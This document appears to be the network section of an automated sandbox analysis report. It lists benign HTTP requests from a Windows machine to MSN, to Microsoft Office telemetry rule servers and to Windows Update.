Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1u24yb.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1732349818187&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=514b73816cb24419b460befa9de20ac2&activityId=514b73816cb24419b460befa9de20ac2&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=D3B49BBCE2FE436FBC01B2C47C41EB7F&MUID=1124054842946B4F2DE61008433C6A40 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=1124054842946B4F2DE61008433C6A40; _EDGE_S=F=1&SID=3A45F6F5166A64451BFDE3B517A665CA; _EDGE_V=1; SM=T
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=1&locale=en-us&country=US&muid=1124054842946B4F2DE61008433C6A40&bcnt=1&placement=88000244&ACHANNEL=4&ABUILD=117.0.5938.150&clr=esdk&edgeid=5518710994624701133&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&asid=7501e56a7d414249f7dd1b747ba75a6b HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=1124054842946B4F2DE61008433C6A40; _EDGE_S=F=1&SID=3A45F6F5166A64451BFDE3B517A665CA; _EDGE_V=1; _C_ETH=1; msnup=
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msB1O.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA11MSkH.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msyO5.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1sFuPI?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAAAWUx?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=9Su9uS29T6Efywg&MD=84sb23Ry HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAtK5aP?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB18CMuA?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
